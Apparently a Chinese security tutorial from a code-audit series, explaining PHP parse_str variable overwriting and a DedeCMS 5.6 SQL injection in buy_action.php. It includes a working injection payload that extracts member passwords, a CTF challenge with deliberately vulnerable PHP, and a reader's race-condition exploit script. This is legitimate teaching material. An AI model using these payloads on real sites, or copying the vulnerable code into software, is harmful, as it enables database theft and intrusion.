前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[红日安全]代码审计Day7 - parse_str函数缺陷

[红日安全]代码审计Day7 - parse_str函数缺陷

原创
作者头像
红日安全
修改2020-03-31 17:55:35
6320
修改2020-03-31 17:55:35
举报
文章被收录于专栏:红日安全

点击订阅我们   和红日一起成长 让安全如此精彩  

红日安全出品|转载请注明来源

文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!(来源:红日安全)

本文由红日安全成员: l1nk3r 编写,如有不当,还望斧正。

前言

大家好,我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目,供大家学习交流,我们给这个项目起了一个名字叫 PHP-Audit-Labs 。现在大家所看到的系列文章,属于项目 第一阶段 的内容,本阶段的内容题目均来自 PHP SECURITY CALENDAR 2017 。对于每一道题目,我们均给出对应的分析,并结合实际CMS进行解说。在文章的最后,我们还会留一道CTF题目,供大家练习,希望大家喜欢。下面是 第7篇 代码审计文章:

Day 7 - Bell

题目叫做钟,代码如下:

漏洞解析

这一关其实是考察变量覆盖漏洞,⽽导致这⼀漏洞的发⽣则是不安全的使⽤ parse_str 函数。 由于 第21行 中的 parse_str() 调用,其行为非常类似于注册全局变量。我们通过提交类似 config[dbhost]=127.0.0.1 这样类型的数据,这样因此我们可以控制 getUser() 中第5到8行的全局变量 $config 。如果目标存在登陆验证的过程,那么我们就可以通过变量覆盖的方法,远程连接我们自己的mysql服务器,从而绕过这块的登陆验证,进而进行攻击。我们来看看PHP官方对 parse_str 函数的定义:

parse_str 功能 :parse_str的作用就是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否存在,所以会直接覆盖掉当前作用域中原有的变量。 定义void parse_str( string $encoded_string [, array &$result ] ) 如果 encoded_string 是 URL 传入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。

实例分析

本次实例分析,我们选取的是 DedeCmsV5.6 版本。该版本的buy_action.php处存在SQL注入漏洞,这里其实和 parse_str 有很大关系,下⾯我们来看看具体的漏洞位置。

补丁分析

官网于20140225发布了V5.7.36 正式版0225常规更新补丁,这里面的改动一共四个文件 dede/sys_info.phpdede/templets/sys_info.htminclude/uploadsafe.inc.phpmember/buy_action.php 。这里我们关注一下 member/buy_action.php 这个文件的改动情况。

diff一下补丁和源文件:(这里采用sublime的FileDiffs插件来进行diff对比)

改动部分,主要针对加密函数的强度进行了加强,所以做一个推断这个漏洞应该是由于 mchStrCode 这个编码方法造成的。在读这个函数时发现,如果在我们知道 cfg_cookie_encode 的情况下,被编码字符串是可以被逆推出来的。

这个漏洞在乌云上爆出来的时候,是sql注入,所以我推断可能在调用这个编码函数进行解码的地方,解码之后可能没有任何过滤和绕过,又或者可以可绕过过滤,导致sql语句拼接写入到了数据库,而且这里解码的函数可以被攻击者控制,从而导致了SQL注入的产生。

原理分析

我们全局搜索一下哪些地方调用了这个 mchStrCode 函数,发现有三处(可以用sublime Ctrl+Shitf+F 进行搜索):

第17行 (上图)的 parse_str 引起了我的兴趣,看一下这一小段代码做了些什么(下图第4行处):

我们重点来看if语句开始时的三行代码, mchStrCode 是我们在上一小节通过对比补丁发现变化的函数。也就是说,这个函数可以编码或者解码用户提交的数据,而且 $pd_encode 也是我们可以控制的变量。

parse_str 方法将解码后 $pd_encode 中的变量放到 $mch_Post 数组中,之后的 foreach 语句存在明显的变量覆盖,将 $mch_Post 中的key定义为变量,同时将key所对应的value赋予该变量。然后,再向下就是执行SQL查询了。

在这个过程中存在一个明显的疏忽是,没有对定义的 key 进行检查,导致攻击者可以通过 mschStrCode 对攻击代码进行编码,从而绕过GPC和其他过滤机制,使攻击代码直达目标。我们再来看看 mchStrCode 函数的代码:

上图我们要注意第三行 $key 值的获取方法:

代码语言:javascript
复制
$key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);

这里将 $_SERVER["HTTP_USER_AGENT"]$GLOBALS['cfg_cookie_encode'] 进行拼接,然后进行md5计算之后取前 18 位字符,其中的 $_SERVER["HTTP_USER_AGENT"] 是浏览器的标识,可以被我们控制,关键是这个 $GLOBALS['cfg_cookie_encode'] 是怎么来的。通过针对补丁文件的对比,发现了 /install/index.php$rnd_cookieEncode 字符串的生成同样是加强了强度, $rnd_cookieEncode 字符串最终也就是前面提到的 $GLOBALS['cfg_cookie_encode']

看看源代码里是怎么处理这个的 $rnd_cookieEncode 变量的。

这段代码生成的加密密匙很有规律,所有密匙数为26^6*(9999-1000)=2779933068224,把所有可能的组合生成字典,用passwordpro暴力跑MD5或者使用GPU来破解,破解出md5过的密匙也花不了多少时间。 当然这个是完全有可能的,但是很耗时间,所以下一步看看有没有办法能够绕过这个猜测的过程,让页面直接回显回来。

利用思路

虽然整个漏洞利用原理很简单,但是利用难度还是很高的,关键点还是如何解决这个 mchStrCodemchStrCode 这个函数的编码过程中需要知道网站预设的 cfg_cookie_encode ,而这个内容在用户界面只可以获取它的MD5值。虽然cfg_cookie_encode的生成有一定的规律性,我们可以使用MD5碰撞的方法获得,但是时间成本太高,感觉不太值得。所以想法是在什么地方可以使用 mchStrCode 加密可控参数,并且能够返回到页面中。所以搜索一下全文哪里调用了这个函数。

于是,我们在 member/buy_action.php 的104行找到了一处加密调用:$pr_encode = str_replace('=', '', mchStrCode($pr_encode)); 我们来看一下这个分支的整个代码:

这里的 第38行 有一 $tpl->LoadTemplate(DEDEMEMBER.'/templets/buy_action_payment.htm');/templets/buy_action_payment.htm 中,我找到了页面上回显之前加密的 $pr_encode$pr_verify

通过这部分代码,我们可以通过 [cfg_dbprefix=SQL注入] 的提交请求,进入这个分支,让它帮助我来编码 [cfg_dbprefix=SQL注入] ,从而获取相应的 pr_encodepr_verify 。 但是 common.inc.php 文件对用户提交的内容进行了过滤,凡提交的值以cfg、GLOBALS、GET、POST、COOKIE 开头都会被拦截,如下图第11行。

这个问题的解决就利用到了 $REQUEST 内容与 parse_str 函数内容的差异特性。我们url传入的时候通过[a=1&b=2%26c=3]这样的提交时, $REQUEST 解析的内容就是 [a=1,b=2%26c=3] 。而通过上面代码的遍历进入 parse_str 函数的内容则是 [a=1&b=2&c=3] ,因为 parse_str 函数会针对传入进来的数据进行解码,所以解析后的内容就变成了[a=1,b=2,c=3]。所以可以通过这种方法绕过 common.inc.php 文件对于参数内容传递的验证。

漏洞利用

访问 buy_action.php 文件,使用如下参数:

代码语言:javascript
复制
product=card&pid=1&a=1%26cfg_dbprefix=dede_member_operation WHERE 1=@'/!12345union/ select 1,2,3,4,5,6,7,8,9,10 FROM (SELECT COUNT(),CONCAT( (SELECT pwd FROM dede_member LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a %23

其中 productpid 参数是为了让我们进入 mchStrCode 对传入数据进行编码的分支,参数 a 是为了配合上面提到的差异性而随意添加的参数。从 cfg_dbprefix 开始,便是真正的SQL注入攻击代码。 访问该URL后,在页面源码中找到 pd_encodepd_verify 字段的值,由于用户 CookieUser-Agent 不同,所获取的值也不同,然后在页面上找到了 pd_encodepd_verify的值,如下图:

最后再构造一下payload就好了:

代码语言:javascript
复制
http://127.0.0.1//dedecms5.6/member/buy_action.php?pd_encode=QEpWVhZbEV9SUkBUEEBfAF8CFlkEA0VbAwVuV1BARFVQDRoOVF1dVzxVAA9TVkBvWUBTFgNHWVdXEjRwIDB0EwMNdhcZRVMBAwwMRw1RCgweE0FVWlVVEEICHAoVAU8MSVcdBR4HGggaXU4CABh/YCx1RUpidn51dWQWJy1mfmwRG097KixycmYYFhhlIS52c2wZQhRcRSRjfH8QUlVSAT1eVVVbVxEYKSt8emYQBhwHTU51fHd2YEtqJCx1GwIZBBkfHEJ1Ynd0Eip2Iy1jfnNkf394OzFweH10c017LSNjcnFkc2JpNydnYxh+YCxtNUJzahJIH1EWR0RmfWddWxBMDAxSR1tUCwEAUFEEBV4JVFEBUVYIHgIHAQRQXAQHCAsLAAIBSFYJBgUGUB0HVwEFCAgUA1UMVlUEVQJWBFIBUAQVc3ZjaCd5MSMAAwIABgYBU1IHDQkBB1IIVVMBBQcdBwUEXVsABwsKAU5QERZBFgFxEwJwQVB1AQELHFIOXUwDBwoeBwIPQVB1TAkMAFoBVlUCAAEWVFRFDANBVWdfWxFLEQtcVg8BAwMGVFMEBg8PBVUAQzJ5Y2F1ZWN/IF9XA1tdBFVeVAcIAlRVDlJVAFtRVV5YC1INAVsHBgpUBBZyAQZWZUtcQCp8WFAXd1dUU2VFARB6dGdmUQh1AVcMAABVAVJSVVcKAABdAlAAA0R1VlZVel9RDQxnWVVcD1INVlICAAICBwQQIAdXVXRWVQpWMQtcVm1vVVt7AFcOAl4IAlANBFUGVlMFBFIHUA&pd_verify=fbe183b4c5a69ac7fb394a4b5cd5cfcb

再次提醒,因为每个人的 cookieUser-Agent 都不一样,所以生成的也不一样,建议大家自己生成一下。

修复建议

为了解决变量覆盖问题,可以在注册变量前先判断变量是否存在,如果使用 extract 函数可以配置第二个参数是 EXTR_SKIP 。使用 parse_str 函数之前先自行通过代码判断变量是否存在。

这里提供一个demo漏洞样例代码,以及demo的修复方法。

demo漏洞

demo漏洞修复

结语

看完了上述分析,不知道大家是否对 parse_str() 函数有了更加深入的理解,文中用到的CMS可以从 这里 下载,当然文中若有不当之处,还望各位斧正。如果你对我们的项目感兴趣,欢迎发送邮件到 hongrisec@gmail.com 联系我们。Day7 的分析文章就到这里,我们最后留了一道CTF题目给大家练手,题目如下:

index.php

代码语言:javascript
复制
//index.php
<?php
$a = “hongri”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    echo '<a href="uploadsomething.php">flag is here</a>';
}
?>
代码语言:javascript
复制
//uploadsomething.php
<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
    $savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
    if (!is_dir($savepath)) {
        $oldmask = umask(0);
        mkdir($savepath, 0777);
        umask($oldmask);
    }
    if ((@$_GET['filename']) && (@$_GET['content'])) {
        //$fp = fopen("$savepath".$_GET['filename'], 'w');
        $content = 'HRCTF{y0u_n4ed_f4st}   by:l1nk3r';
        file_put_contents("$savepath" . $_GET['filename'], $content);
        $msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
        usleep(100000);
        $content = "Too slow!";
        file_put_contents("$savepath" . $_GET['filename'], $content);
    }
   print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
    echo 'you can not see this page';
}
?>

题解我们会阶段性放出,如果大家有什么好的解法,可以在文章底下留言,祝大家玩的愉快!

相关文章

DedeCMS最新通杀注入(buy_action.php)分析

点击收藏 | 0关注 | 1

上一篇:渗透测试的WINDOWS NTFS...下一篇:Ruby on Rails 路径穿...

  1. 1 条回复

roothex 2019-08-12 11:49:49CTF题目的第二个文件好像有点小问题,$msg没有echo出来、mkdir()没有递归创建,稍微改动了下

代码语言:javascript
复制
<?php header("Content-type:text/html;charset=utf-8"); $referer = $_SERVER['HTTP_REFERER']; if(isset($referer)!== false) {     $savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";     if (!is_dir($savepath)) {         $oldmask = umask(0);         mkdir($savepath, 0777, true);         umask($oldmask);     }     if ((@$_GET['filename']) && (@$_GET['content'])) {         //$fp = fopen("$savepath".$_GET['filename'], 'w');         $content = 'HRCTF{y0u_n4ed_f4st}   by:l1nk3r';         file_put_contents("$savepath" . $_GET['filename'], $content);         $msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";         echo $msg;         usleep(100000);         $content = "Too slow!";         file_put_contents("$savepath" . $_GET['filename'], $content);     }    print <<<EOT <form action="" method="get"> <div class="form-group"> <label for="exampleInputEmail1">Filename</label> <input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename"> </div> <div class="form-group"> <label for="exampleInputPassword1">Content</label> <input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont"> </div> <button type="submit" class="btn btn-default">Submit</button> </form> EOT; } else{     echo 'you can not see this page'; } ?>
再附一个自己写的垃圾脚本
代码语言:javascript
复制
import threading import requests  uplurl = 'http://localhost/ctf/uploadsomething.php?filename=flag&content=1' resurl = 'http://localhost/ctf/uploads/363baea9cba210afac6d7a556fca596e30c46333/flag'  class Access(threading.Thread):     def __init__(self, number, url):         threading.Thread.__init__(self)         self.number = number         self.url = url     def run(self):         if 'uploadsomething' in self.url:             for i in range(self.number):                 requests.get(self.url, headers={'Referer':'Anything'})         else:             for i in range(self.number):                 result = str(requests.get(self.url).content).replace('b', '')+'\n'                 print(result)  up = Access(3, uplurl) re = Access(3, resurl)  up.start() re.start()  up.join() re.join()

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • Day 7 - Bell
  • 实例分析
    • 补丁分析
      • 原理分析
        • 利用思路
          • 漏洞利用
          • 修复建议
          • 结语
          • 相关文章
          相关产品与服务
          代码审计
          代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档